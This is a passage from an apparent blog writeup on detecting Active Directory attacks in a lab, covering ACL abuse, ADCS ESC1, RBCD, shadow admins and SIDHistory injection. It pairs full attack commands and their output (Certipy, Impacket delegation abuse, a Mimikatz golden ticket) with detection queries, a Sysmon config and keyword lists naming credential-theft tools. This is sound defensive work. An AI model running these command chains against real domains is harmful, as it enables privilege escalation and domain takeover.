2	4662 – Access to user, group, or OU objects with `WriteDACL` or `GenericAll`	Identifies unauthorized ACL modifications
3	Look for ObjectSecurity descriptor references in logs or audit entries	Tracks backdoor persistence mechanisms
4	4624 or 4672 – Logons by accounts newly granted privileges	Validates attacker gained access from ACL change

Detection Notes

GenericAll access grants full object control, making it a critical indicator
ACL modifications targeting privileged accounts (like Administrator) should be prioritized

Attack Testing Evidence

Command Executed

# Grant WriteDACL rights to attacker on low-privilege user 
dsacls "CN=svc-sql,CN=Users,DC=corp,DC=local" /G corp\attacker:WD

# Later, regain escalation by modifying group membership
Add-ADGroupMember -Identity "Domain Admins" -Members "attacker"

# Optional: clean up after privilege use
Remove-ADGroupMember -Identity "Domain Admins" -Members "attacker" -Confirm:$false

Event Log Observation

4104 logs captured AddAccessRule and GenericAll references targeting CN=Administrator

Detection Result

Detection successfully triggered based on:

Script block activity related to ACL manipulation
Stealthy permission assignment targeting privileged AD objects

Improvements

Cross-check modified ACLs with known privileged user SIDs
Alert on ACL changes that grant GenericAll or WriteDacl permissions on sensitive Active Directory objects

Detection Caveats

Direct LDAP or binary manipulation of DACLs outside PowerShell context may evade this detection
Admin tools may trigger false positives; correlate changes with session owner and host

18. ADCS ESC1 Misconfiguration

Attack Explanation

ESC1 is a misconfiguration in Active Directory Certificate Services (ADCS) where any domain user can request a certificate that allows authentication as another user. This is possible when the following conditions are true:

The template allows ENROLLEE_SUPPLIES_SUBJECT
The certificate includes Client Authentication EKU (1.3.6.1.5.5.7.3.2)
There are no manager approval or publisher restrictions

The attacker uses the vulnerable template to request a certificate as a high-privileged user (e.g., Domain Admin), then authenticates using the certificate to request Kerberos tickets (TGT/TGS), achieving impersonation.

Connection to Detection Mechanism

Detection focuses on identifying certificate requests and usage tied to vulnerable templates and anomalous Kerberos flows:

Event ID 4886 (Certificate Request) and 4887 (Certificate Issuance)
Event ID 4768 (TGT Request) with PreAuthType 0 and LogonType 5 (certificate-based login)
Event ID 4769 (TGS Request) showing follow-up service usage
altSecurityIdentities references can confirm mapped certificate identity

Tactic/Technique

MITRE ATT&CK ID: T1558.004 (Steal or Forge Kerberos Tickets: Certificate Request Abuse)
Phase: Credential Access

Execution Summary

Tool Used: Certipy

certipy find -u 'attacker@corp.local' -p 'Password123!' -dc-ip 192.168.0.22

certipy req -u 'attacker@corp.local' -p 'Password123!' \
  -dc-ip 192.168.0.22 \
  -ca 'corp-DC01-CA' \
  -template 'ESC1User' \
  -subject "CN=attacker" \
  -upn attacker@corp.local \
  -sid S-1-5-21-3268981039-1285789266-758775044-1106

certipy auth -pfx attacker.pfx -dc-ip 192.168.0.22

Adversary Objectives

Request a certificate impersonating a privileged account
Use certificate to obtain TGTs and perform lateral movement

Execution Context

Privileges Required: Any domain user
Target Systems: ADCS server and any Kerberos-enabled service

Detection Strategy

Log Sources

Windows Security Event Log
Microsoft-Windows-CertificationAuthority Operational Log

Detection Logic

Query 1 – Cert-Based TGT Request (ESC1 Abuse):

// Cert-based TGT request from attacker using certificate-auth (ESC1 abuse)
event.code: 4768 AND
winlog.event_data.TargetUserName: "attacker" AND
winlog.event_data.TicketEncryptionType: "0x17" AND
winlog.event_data.IpAddress: "::ffff:192.168.0.18" AND
winlog.event_data.PreAuthType: "0" AND
event.outcome: "success"

Investigation Chain

Step	Investigation Step	Detection Context
1	Cert request (4886) using vulnerable template	Abnormal request origin
2	TGT issued with PreAuthType 0 and LogonType 5	Certificate-based authentication
3	TGS requested to high-privileged SPNs	Service impersonation
4	Check altSecurityIdentities attribute	SID mapping to certificate

Detection Notes

PreAuthType 0 is expected in cert logons, but rare in general use
LogonType 5 confirms smartcard/cert-based authentication
Template filtering (e.g., ESC1User) is critical to prevent false positives
Use PowerShell to inspect altSecurityIdentities mappings:

Get-ADUser -Identity <user> -Properties altSecurityIdentities

Attack Testing Evidence

Commands Executed

# Enumerate enabled certificate templates and CA information
certipy find -u 'attacker@corp.local' -p 'Password123!' -dc-ip 192.168.0.22

# Request a certificate using the vulnerable ESC1 template and custom UPN/SID for the current user
certipy req -u 'attacker@corp.local' -p 'Password123!' \
  -dc-ip 192.168.0.22 \
  -ca 'corp-DC01-CA' \
  -template 'ESC1User' \
  -subject "CN=attacker" \
  -upn attacker@corp.local \
  -sid S-1-5-21-3268981039-1285789266-758775044-1106

# Use the issued certificate (PFX) to authenticate and retrieve a TGT/NT hash
certipy auth -pfx attacker.pfx -dc-ip 192.168.0.22

Partial Output

[*] Found 12 enabled certificate templates
[*] Got CA configuration for 'corp-DC01-CA'
[*] Saved BloodHound data to '20250417091811_Certipy.zip'
[*] Successfully requested certificate (ESC1User)
[*] Got certificate with subject: CN=attacker
[*] Saved certificate and private key to 'attacker.pfx'
[*] Got TGT
[*] Saved credential cache to 'attacker.ccache'
[*] Got hash for 'attacker@corp.local':
aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe

Event Log Observation

4886: Certificate requested using ESC1User template
4768: TGT request with PreAuthType 0 and LogonType 5
4769: TGS requested by impersonated account (e.g., Administrator)

Detection Result

Detection confirmed via:

Vulnerable certificate request flow
Certificate-based authentication logged
Privilege misuse with forged Kerberos tickets

Improvements

Monitor for templates with ENROLLEE_SUPPLIES_SUBJECT and ClientAuth EKU
Alert on low-privileged accounts making certificate requests
Correlate certificate issuance with Kerberos activity from same user/IP

Detection Caveats

PreAuthType 0 overlaps with AS-REP Roasting — use LogonType 5 to differentiate
Certificate logs may be stored separately (CA Operational logs)
Template names may be obfuscated — monitor field attributes, not just template name

19. Resource-Based Constrained Delegation (RBCD)

Attack Explanation

RBCD allows an attacker to configure a machine account they control to impersonate any domain user to a specified service on another host (e.g., cifs/DC01). The attack relies on modifying the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target host (e.g., DC01) to delegate from a fake machine account (e.g., FAKECOMPUTER$).

When combined with tools like addcomputer.py, rbcd.py, and getST.py, attackers can escalate privileges and authenticate as a domain admin to the targeted service without needing credentials.

Connection to Detection Mechanism

RBCD detection involves a multi-step correlation of event artifacts:

4624 (Logon): Suspicious Kerberos network logon (LogonType 3) from impersonated accounts with unusual TransmittedServices fields.
4769 (TGS Request): Forged S4U2Proxy service ticket requests with TicketOptions such as 0x40830000 or 0x40810000, often showing FAKECOMPUTER$@CORP.LOCAL in TransmittedServices.
5136 (Directory Service Changes): Indicates modification of msDS-AllowedToActOnBehalfOfOtherIdentity — used to set delegation rights.
4741 (Computer Account Creation): Reveals the creation of fake machine accounts via delegation abuse, often using SeMachineAccountPrivilege.

These events together confirm the use of RBCD.

Tactic/Technique

MITRE ATT&CK ID: T1134.002 (Access Token Manipulation: Token Impersonation/Theft)
Phase: Privilege Escalation / Lateral Movement

Execution Summary

Tools Used: Impacket addcomputer.py, rbcd.py, getST.py, psexec.py

Command Chain:

# 1. Create a machine account
addcomputer.py corp.local/svc-sql:'P@ssword1' -dc-ip 192.168.0.22 -computer-name FAKECOMPUTER -computer-pass 'StrongPass123!'

# 2. Delegate it to target (e.g., DC01)
python3 rbcd.py corp.local/svc-sql:'P@ssword1' -dc-ip 192.168.0.22 -delegate-from FAKECOMPUTER$ -delegate-to DC01$ -action write

# 3. Request TGS as Administrator
sudo getST.py -spn cifs/DC01.corp.local -impersonate Administrator -dc-ip 192.168.0.22 corp.local/FAKECOMPUTER\$:'StrongPass123!'

# 4. Use psexec with injected ticket
export KRB5CCNAME=/home/kali/Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
psexec.py -k -no-pass dc01.corp.local

Adversary Objectives

Modify delegation settings to gain impersonation rights
Forge Kerberos tickets using S4U2Proxy
Access privileged services as another user

Execution Context

Privileges Required: Any domain user with SeMachineAccountPrivilege and write access to the delegation target
Target Systems: Domain Controllers or sensitive servers (e.g., file servers, certificate servers)

Detection Strategy

Log Sources

Windows Security Log
Directory Service Changes (Event ID 5136)

Detection Logic

Query 1 – Suspicious Kerberos Logon:

event.code: "4624" and
winlog.event_data.TransmittedServices: *@* and
winlog.event_data.TargetUserName: "Administrator" and
winlog.event_data.LogonType: "3" and
winlog.event_data.AuthenticationPackageName: "Kerberos"

Query 2 – TGS Request with S4U2Proxy Ticket Options:

event.code: "4769" and
(
  winlog.event_data.TicketOptions: "0x40830000" or
  winlog.event_data.TicketOptions: "0x40810000"
) and
winlog.event_data.ServiceName: *$* and
winlog.event_data.TargetUserName: *$@* and
winlog.event_data.TransmittedServices: *@* and
not winlog.event_data.IpAddress: "::1" and
not winlog.event_data.TargetUserName: *krbtgt@*

Query 3 – Delegation Right Modification (RBCD Set):

event.code: "5136" and
winlog.event_data.AttributeLDAPDisplayName: "msDS-AllowedToActOnBehalfOfOtherIdentity" and
winlog.event_data.AttributeValue: "Malformed Security Descriptor"

Query 4 – Machine Account Creation:

event.code: "4741" and
winlog.event_data.NewUacValue: "0x84" and
winlog.event_data.PrivilegeList: "SeMachineAccountPrivilege"

Investigation Chain

Step	Investigation Step	Why Start Here
1	4624 (Logon)	First observable sign of compromise; look for FAKECOMPUTER$@CORP.LOCAL in TransmittedServices
2	4769 (TGS Request)	Validates forged S4U2Proxy ticket with suspicious TicketOptions and target accounts
3	5136 (Delegation Set)	Confirms RBCD was enabled by attacker against target system
4	4741 (Account Creation)	Tracks who created the FAKECOMPUTER$ account, and how

Detection Notes

4624 logons with TransmittedServices fields involving fake machine accounts suggest forged TGS.
4769 TicketOptions 0x4083xxxx indicate S4U2Proxy ticket usage.
Event ID 5136 with msDS-AllowedToActOnBehalfOfOtherIdentity changes signals delegation setup.
Event ID 4741 helps track down fake machine accounts often used in RBCD.

Attack Testing Evidence

Commands Executed

addcomputer.py used to register FAKECOMPUTER$
rbcd.py used to write delegation rights to DC01$
getST.py used to impersonate Administrator via S4U2Proxy
psexec.py used with Kerberos ticket to gain shell access

Partial Output

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami /groups

BUILTIN\Administrators                 S-1-5-32-544   Enabled group, Group owner
NT AUTHORITY\Authenticated Users       S-1-5-11       Enabled group
Mandatory Label\System Mandatory Level S-1-16-16384

Event Log Observation

4624 observed with TransmittedServices containing FAKECOMPUTER$
4769 shows forged ticket with high TicketOptions
5136 confirms delegation write on DC01
4741 links fake machine account creation

Detection Result

Detection successfully triggered based on:

Kerberos logons with TransmittedServices linked to delegation abuse
S4U2Proxy ticket issuance with 0x40830000 options
msDS-AllowedToActOnBehalfOfOtherIdentity modification
Correlated machine account creation

Improvements

Detect when msDS-AllowedToActOnBehalfOfOtherIdentity is modified by low-privilege users
Alert on 4769 with high TicketOptions and machine account targeting
Profile normal TransmittedServices patterns per user/machine

Detection Caveats

May not detect direct LDAP-based delegation modification outside PowerShell
Requires auditing of Directory Services and Kerberos tickets
Sophisticated attackers may craft tickets without common identifiers like 0x4083xxxx

20. Shadow Admin Creation

Attack Explanation

Shadow Admins are stealthy privileged accounts created by modifying permissions (DACLs) on high-value security principals like the Domain Admins group, without directly adding a user to that group. This allows an attacker to grant themselves or another account effective administrative rights while evading standard group membership checks.

This attack typically leverages directory service permission changes (ObjectType: Control Access) and group membership modification events.

Connection to Detection Mechanism

Detection focuses on:

Identifying changes to the security descriptor (nTSecurityDescriptor) of privileged groups
Alerting when a non-administrative user modifies Domain Admins DACLs or group membership
Tracking Event ID 4662 and 4728 combinations against the Domain Admins group by object GUID

Tactic/Technique

MITRE ATT&CK ID: T1098 (Account Manipulation)
Phase: Persistence / Privilege Escalation

Execution Summary

Tools Used: PowerView, PowerShell, ADSI

Command Example:

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker -Rights All

Adversary Objectives

Persist within the environment with stealthy elevated rights
Evade group membership-based detection

Execution Context

Privileges Required: Domain user with write access to group DACLs
Target Systems: Domain Admins group object

Detection Strategy

Log Sources

Windows Security Log

Detection Logic

Query 1 – DACL Modification of Domain Admins (Event ID 4662):

event.code: "4662" AND
winlog.event_data.ObjectName : "%{adb0d25f-5548-4984-95ea-5446204a5843}" AND
(winlog.event_data.AccessMask: "0x40000" OR winlog.event_data.AccessMask: "0x10000000")

Query 2 – Group Membership Change (Event ID 4728):

event.code: 4728 AND
winlog.event_data.TargetUserName: "Domain Admins"

Investigation Chain

Step	Investigation Step	Detection Context
1	4662 – DACL modification on `Domain Admins` group	Detects privilege escalation without membership change
2	4728 / 4732 – Group membership change to admin group	Validates persistence or access escalation
3	Check if actor account was not previously high-privileged	Helps confirm this was unauthorized elevation
4	Correlate SIDHistory or ACL chain to newly empowered account	Maps path from access to admin role acquisition

Detection Notes

4662 object access coupled with group membership events builds a strong detection chain.
Focus on sensitive security group object GUIDs.

Attack Testing Evidence

Command Executed

# Grant Full Control (GenericAll) to attacker on the Domain Admins group
dsacls "CN=Domain Admins,CN=Users,DC=corp,DC=local" /G corp\attacker:GA

# Add attacker to the Domain Admins group using the new DACL rights
Add-ADGroupMember -Identity "Domain Admins" -Members attacker

# Confirm attacker now has DA group membership
whoami /groups | findstr "Domain Admins"

Partial Output

IdentityReference : CORP\attacker
AccessControlType : Allow
ActiveDirectoryRights : GenericAll
ObjectType : bf967a9c-0de6-11d0-a285-00aa003049e2
InheritedObjectType : 00000000-0000-0000-0000-000000000000

Event Log Observation

Event ID 4662 triggered showing AccessMask: 0x10000000 on Domain Admins GUID
Event ID 4728 logged for Domain Admins group shortly after ACL change

Detection Result

Detection successfully triggered based on:

Stealth escalation via DACL modification on privileged group
Correlated activity between object access and group membership events

Improvements

Monitor and baseline critical security principal GUIDs.
Regularly audit DACLs on high-value objects like Domain Admins.

Detection Caveats

Direct LDAP changes may bypass PowerShell-based telemetry if script block logging is not enabled
Event ID 4662 coverage is dependent on Directory Service Access auditing

21. SIDHistory Injection

Attack Explanation

SIDHistory Injection allows an attacker to escalate privileges by forging a Kerberos ticket that includes a privileged group SID (e.g., Domain Admins) in the ExtraSids field.

This technique bypasses group membership checks by assigning elevated SIDs directly into the ticket's history, even if the attacker account isn’t a member of those groups in Active Directory.

It is commonly executed after Golden or Silver Ticket abuse or forged TGT crafting using tools like Mimikatz or Kekeo.

Connection to Detection Mechanism

Detection focuses on identifying:

Unusual SIDs in whoami /groups output that don't match AD group memberships
Kerberos logon events without corresponding TGS requests (Event ID 4769)
Suspicious LogonProcessName, SubjectUserSid, and ProcessId values
Elevated privileges (Event ID 4672) following a logon with forged credentials

Tactic/Technique

MITRE ATT&CK ID: T1098.003 (Account Manipulation: Additional SID)
Phase: Privilege Escalation / Persistence

Execution Summary

Tools Used: Mimikatz, Rubeus

Command Example:

kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-... /sids:S-1-5-21-...-512 /krbtgt:<hash> /ticket:ticket.kirbi

Adversary Objectives

Gain stealthy Domain Admin privileges
Avoid detection via traditional group membership audits

Execution Context

Privileges Required: Local or Domain Admin on compromised system
Target Systems: Domain Services via forged Kerberos ticket

Detection Strategy

Log Sources

Windows Security Log
whoami /groups and manual SID inspection
Kerberos Authentication logs

Detection Logic

Query 1 – Forged Kerberos Logon with Suspicious SID:

event.code: 4624 AND
winlog.event_data.LogonType: "3" AND
winlog.event_data.SubjectUserSid: "S-1-0-0" AND
winlog.event_data.LogonProcessName : "Kerberos" AND
winlog.event_data.ProcessId: "0x0" AND
NOT winlog.event_data.TargetUserName: ("WORKSTATION01$" OR "DC01$")

Query 2 – Absence of Legitimate Kerberos Flow (Missing TGS-REQ):

event.code: 4624 AND
winlog.event_data.LogonType: "3" AND
winlog.event_data.AuthenticationPackageName: "Kerberos" AND
NOT event.code: 4769

Query 3 – Post-Logon Group Enumeration (Lateral Movement Preparation):

Get-ADUser -Filter * -Properties MemberOf | ForEach-Object {
    $user = $_
    Get-ADPrincipalGroupMembership $user |
        Select-Object @{Name='User';Expression={$user.SamAccountName}}, Name, SID
}

Investigation Chain

Step	Investigation Step	Detection Context
1	4624 – Kerberos logon with `SubjectUserSid: S-1-0-0`, `ProcessId: 0x0`, `KeyLength: 0`	Indicates forged ticket usage with injected SID
2	Absence of 4768 or 4769 events for same user/session	Confirms bypass of KDC, common in SIDHistory abuse
3	`Get-ADPrincipalGroupMembership` reveals elevated SID not normally mapped to user	Maps post-injection privileges to escalated identity
4	Correlate to unauthorized access on high-value systems or sensitive ACL reads	Shows that the injected SID led to lateral movement or privilege misuse

Detection Notes

SID mismatches in Kerberos tickets without directory-backed memberships are strong indicators.
Correlation between group SID enumeration and missing 4769 traffic builds detection confidence.

Attack Testing Evidence

Command Executed

# Inject a forged Golden Ticket with SIDHistory pointing to the Domain Admin SID
kerberos::golden /user:attacker /domain:corp.local /sid:S-1-5-21-3268981039-1285789266-758775044 /krbtgt:bc29a1ac2d81a8ac9e3ab8fd63d03d4f /sids:S-1-5-21-3268981039-1285789266-758775044-500 /ptt

# Use the injected ticket to access the Domain Controller’s C$ share
dir \\192.168.0.22\C$

# Confirm injected SIDHistory mapped attacker to privileged groups
whoami /groups | findstr "Domain Admins"

Partial Output

User      : attacker
Domain    : corp.local (CORP)
SID       : S-1-5-21-3268981039-1285789266-758775044
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3268981039-1285789266-758775044-500 ;
ServiceKey: bc29a1ac2d81a8ac9e3ab8fd63d03d4f - rc4_hmac_nt
Lifetime  : 4/17/2025 8:19:52 PM ; 4/15/2035 8:19:52 PM ; 4/15/2035 8:19:52 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'attacker @ corp.local' successfully submitted for current session

C:\>whoami /groups

CORP\Domain Admins                          Group            S-1-5-21-3268981039-1285789266-758775044-512 Mandatory group, Enabled by default, Enabled group
CORP\Enterprise Admins                      Group            S-1-5-21-3268981039-1285789266-758775044-519 Mandatory group, Enabled by default, Enabled group
CORP\Schema Admins                          Group            S-1-5-21-3268981039-1285789266-758775044-518 Mandatory group, Enabled by default, Enabled group

Event Log Observation

Event ID 4624: LogonType 3 from attacker workstation, ProcessId 0x0
Event ID 4672: Special privileges assigned to attacker session
No Event ID 4769 present for the ticket usage

Detection Result

Detection successfully triggered based on:

SID injection artifacts within Kerberos tickets
Privileged group SIDs present without legitimate AD memberships

Improvements

Monitor for inconsistencies between Kerberos ticket SIDs and actual Active Directory group memberships
Track accounts that suddenly gain elevated privileges without directory changes
Regularly audit and validate token SID structures against Get-ADUser group mappings

Detection Caveats

SID injection techniques may evade detection if the ticket content is not deeply inspected
Detection requires reliable correlation across authentication and privilege escalation logs
whoami /groups output must be captured or extracted via EDR for session-level analysis

Detection Lab Configuration

Domain Name : corp.local

Workstation / DC OS : Windows Server 2019 / Windows 10 Pro

Log Collection : Winlogbeat > ElasticSearch 8.14.3

No field processors or index routing customizations were applied.

Microsoft-Windows-Sysmon/Operational
Application
Security
System
Windows Powershell
Microsoft-Windows-PowerShell/Operational
Microsoft-Windows-GroupPolicy/Operational
Microsoft-Windows-WMI-Activity/Operational

Sysmon : v14.13 : (custom config based on SwiftOnSecurity + Olaf modules)

<?xml version="1.0" encoding="UTF-8"?>
<Sysmon schemaversion="4.90">
  <HashAlgorithms>sha256</HashAlgorithms>
  <EventFiltering>

    <RuleGroup name="Process Create: cmd & PowerShell only" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Image condition="contains any">cmd.exe,powershell.exe</Image>
      </ProcessCreate>
    </RuleGroup>

    <RuleGroup name="Process Access: Targeting LSASS only" groupRelation="or">
      <ProcessAccess onmatch="include">
        <TargetImage condition="contains">lsass.exe</TargetImage>
        <GrantedAccess condition="contains any">0x1410,0x1010,0x1F0FFF</GrantedAccess>
        <SourceImage condition="excludes any">svchost.exe,smss.exe</SourceImage>
      </ProcessAccess>
    </RuleGroup>

    <RuleGroup name="CreateRemoteThread: Privileged Targeting" groupRelation="or">
      <CreateRemoteThread onmatch="include">
        <TargetImage condition="contains any">lsass.exe,winlogon.exe</TargetImage>
        <SourceImage condition="contains any">powershell.exe,cmd.exe,rundll32.exe</SourceImage>
      </CreateRemoteThread>
    </RuleGroup>

    <RuleGroup name="Credential Theft & AD Abuse" groupRelation="or">
      <ProcessCreate onmatch="include">
        <CommandLine condition="contains any">
          mimikatz sekurlsa dcsync lsass psexec wmiexec wevtutil vssadmin certutil certreq certsrv 
          asreproast kerberoast net group "domain admins" net user /domain
        </CommandLine>
        <Image condition="contains any">powershell.exe,cmd.exe,regsvr32.exe,net.exe</Image>
      </ProcessCreate>

      <ImageLoad onmatch="include">
        <ImageLoaded condition="contains any">mimikatz.dll,sekurlsa.dll,rubeus.dll</ImageLoaded>
        <Signed condition="is">false</Signed>
        <Image condition="contains any">lsass.exe</Image>
      </ImageLoad>

      <NetworkConnect onmatch="include">
        <DestinationPort condition="is any">88,135,389,445,5985</DestinationPort>
        <Image condition="contains any">powershell.exe,cmd.exe,mimikatz.exe,rubeus.exe</Image>
      </NetworkConnect>

      <RegistryEvent onmatch="include">
        <TargetObject condition="contains any">
          Image File Execution Options,Run,RunOnce,IFEO,AdminSDHolder,SIDHistory
        </TargetObject>
      </RegistryEvent>

      <FileCreate onmatch="include">
        <TargetFilename condition="contains any">lsass.dmp,.kirbi,.cer,.csr,.pfx,cpassword,ticket.kirbi</TargetFilename>
        <TargetFilename condition="begin with">C:\Users\Public\</TargetFilename>
        <TargetFilename condition="begin with">C:\Windows\Temp\</TargetFilename>
        <TargetFilename condition="begin with">C:\ProgramData\</TargetFilename>
      </FileCreate>

      <DnsQuery onmatch="include" />
    </RuleGroup>

    <RuleGroup name="Anti-Forensics & Exfil" groupRelation="or">
      <FileDelete onmatch="include">
        <Image condition="contains any">cmd.exe,powershell.exe</Image>
      </FileDelete>
      <ClipboardChange onmatch="include" />
      <FileCreateStreamHash onmatch="include" />
      <FileDeleteDetected onmatch="include" />
    </RuleGroup>

    <RuleGroup name="Driver Load: Suspicious Drivers" groupRelation="or">
      <DriverLoad onmatch="include">
        <ImageLoaded condition="contains">.sys</ImageLoaded>
        <Signed condition="is">false</Signed>
      </DriverLoad>
    </RuleGroup>

  </EventFiltering>
</Sysmon>

Powershell Logging : Enabled via GPO

Tools Used – Windows & Linux Attack Toolkit

Credential Access

Tool	OS	Purpose
`Mimikatz`	Windows	LSASS dump, Pass-the-Hash, Overpass-the-Hash, Golden/Silver Ticket, SIDHistory Injection
`Pypykatz`	Linux	Parse LSASS dumps offline (e.g., after ProcDump)
`secretsdump.py` (Impacket)	Linux	Extract SAM/LSA hashes remotely
`reg.exe`	Windows	Save SAM/SYSTEM hives for credential extraction

Kerberos Abuse

Tool	OS	Purpose
`Rubeus`	Windows	AS-REP Roasting, Overpass-the-Hash, TGT/TGS requests
`Impacket` – `GetNPUsers.py`, `getST.py`, `ticketer.py`	Linux	AS-REP Roasting, S4U2Proxy abuse, forged tickets

Lateral Movement

Tool	OS	Purpose
`CrackMapExec`	Linux	SMB enumeration, PSExec/WMIExec-style execution, hash spraying
`psexec.py`, `wmiexec.py`, `atexec.py` (Impacket)	Linux	Remote code execution via SMB/WMI
`Invoke-Command`, `PsExec.exe`	Windows	Lateral execution (via service creation or WMI)

Reconnaissance

Tool	OS	Purpose
`PowerView`	Windows	LDAP enumeration, ACL discovery, GPO abuse, AdminSDHolder
`BloodHound + SharpHound.exe`	Windows	Full domain graph analysis via LDAP, SMB, NetSession APIs
`ADRecon.ps1`	Windows	Collect domain object metadata for manual review
`net.exe` (builtin)	Windows	User/group/share enumeration
`enum4linux-ng`	Linux	SMB/RPC enumeration from non-domain host
`ldapsearch`	Linux	Direct LDAP queries against DCs

Persistence / Privilege Escalation

Tool	OS	Purpose
`Set-GPPermissions`, `Set-Acl`	Windows	Modify GPOs or ACLs
`Add-DomainObjectAcl` (PowerView)	Windows	ACL backdoors on user/group/computer objects
`dsacls.exe`	Windows	Modify AdminSDHolder or domain ACLs
`AddComputer.py` (Impacket)	Linux	Create machine accounts for RBCD
`rbcd.py` (Impacket)	Linux	Abuse msDS-AllowedToActOnBehalfOfOtherIdentity
`Certify.exe`	Windows	Discover ESC1 and request spoofed certs
`ForgeCert.py` or `Rubeus`	Linux/Windows	Abuse ESC1 to request valid certs for impersonation

Indicators & Output Parsers

Tool	OS	Purpose
`whoami /groups`	Windows	View current token, confirm injected SID
`klist`	Windows	View Kerberos tickets in memory
`kerberos::list` (Mimikatz)	Windows	View loaded Kerberos TGT/TGS
`ccache`, `KRB5CCNAME` env var	Linux	Store/reuse Kerberos tickets for tools like `psexec.py -k`

System Audit Policy Configuration

Output from auditpol /get /category:*

Logon/Logoff

Logon: Success and Failure
Logoff: Success and Failure
Account Lockout: Success and Failure
IPsec Main Mode: Failure
IPsec Quick Mode: Success and Failure
IPsec Extended Mode: Success and Failure
Special Logon: Success and Failure
Other Logon/Logoff Events: Success and Failure
Network Policy Server: Success and Failure
User / Device Claims: Failure
Group Membership: Success and Failure

Object Access

File System: No Auditing
Registry: No Auditing
Kernel Object: No Auditing
SAM: No Auditing
Certification Services: No Auditing
Application Generated: Success and Failure
Handle Manipulation: Success and Failure
File Share: No Auditing
Filtering Platform Packet Drop: Success and Failure
Filtering Platform Connection: No Auditing
Other Object Access Events: No Auditing
Detailed File Share: No Auditing
Removable Storage: No Auditing
Central Policy Staging: No Auditing

Privilege Use

Non Sensitive Privilege Use: No Auditing
Other Privilege Use Events: No Auditing
Sensitive Privilege Use: No Auditing

Detailed Tracking

Process Creation: No Auditing
Process Termination: Success and Failure
DPAPI Activity: No Auditing
RPC Events: Success and Failure
Plug and Play Events: No Auditing
Token Right Adjusted Events: Success and Failure

Policy Change

Audit Policy Change: No Auditing
Authentication Policy Change: No Auditing
Authorization Policy Change: No Auditing
MPSSVC Rule-Level Policy Change: No Auditing
Filtering Platform Policy Change: No Auditing
Other Policy Change Events: No Auditing

Account Management

Computer Account Management: Success and Failure
Security Group Management: Success and Failure
Distribution Group Management: No Auditing
Application Group Management: No Auditing
Other Account Management Events: Success and Failure
User Account Management: Success and Failure

DS Access

Directory Service Access: Success and Failure
Directory Service Changes: Success
Directory Service Replication: Failure
Detailed Directory Service Replication: No Auditing

Account Logon

Kerberos Service Ticket Operations: Success and Failure
Other Account Logon Events: No Auditing
Kerberos Authentication Service: Failure
Credential Validation: No Auditing

Known Limitations

Absence-Based Logic Depends on Reliable Ingestion

Detections relying on the absence of events (e.g., no 4768 before a 4624) assume 100% event capture, proper time sync, and no log forwarding delays.

Logon ID Reuse Can Break Correlation

Some tools reuse existing logon sessions or tokens. This can skew correlation logic between authentication and process execution.

Kerberoast Filtering May Miss Edge Cases

While filtering out *$, svc-*, and krbtgt reduces false positives, it may also exclude legitimate attack targets with nonstandard service account naming.

SIDHistory Injection Requires Manual Enrichment

Windows Event Logs don’t explicitly show SID history usage. Detection relies on correlation between suspicious SIDs and accounts. Additional context (e.g., BloodHound output) may be needed.

Silver/Golden Ticket Abuse May Blend into Legitimate Activity

If attackers mimic existing admin account behavior, detections may appear identical to normal logon behavior unless GUID/SID anomalies are correlated.

PowerShell 4104 May Be Disabled or Obfuscated

If Script Block Logging is not enabled or attackers use AMSI bypasses, PowerShell-based detections will fail silently.

AdminSDHolder & ACL Abuse Not Always Logged Clearly

ACL changes via Set-Acl may not generate 4662 or 5136 depending on audit policy and object class. Detections may require post-facto correlation.

Time-Based Correlation Is Not Logically Linked in KQL

Many detections assume a temporal relationship (e.g., 4624 followed by 7045 within 30s), but Kibana queries alone can’t enforce that without external correlation or scripted automation.

Sysmon Configuration Drift

Detection rules assume a tuned and working Sysmon configuration. If key Event IDs (e.g., 10, 11) are excluded, certain behaviors (LSASS access, file drops) will go undetected.

← Back to Blog